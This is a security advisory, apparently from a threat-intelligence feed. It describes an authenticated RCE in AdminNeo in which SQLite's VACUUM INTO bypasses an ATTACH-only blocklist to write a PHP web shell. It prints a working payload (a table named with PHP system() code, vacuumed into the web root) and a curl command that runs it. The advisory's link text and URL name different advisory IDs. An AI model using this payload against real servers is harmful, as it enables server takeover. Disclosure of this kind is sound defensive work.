GHSA-q5mp-gfjf-cf2j - AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
## Summary
Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)
## Root Cause
sql.inc.php, line 146:
```php
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}
```
Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
## Steps To Reproduce
### 1. Login to SQLite
1. Open AdminNeo and select driver: **SQLite**
2. Login and create a new database (e.g., `stage.db`)
### 2. Inject PHP code and write the shell
Navigate to **SQL command** and execute:
```sql
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
```
The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.
### 3. Execute commands
```shell
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)
```
## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
HIGH
Severity & confidence
Source severityhigh
Platform severityhigh
Confidencemedium
Exploitationunknown
CVSS7.2
Affected
Vendorsadminneo-org
Productsadminneo-org/adminneo
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-30T22:51:37
Last updated2026-11-09T09:51:15
Ingested2026-10-30T22:59:15
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories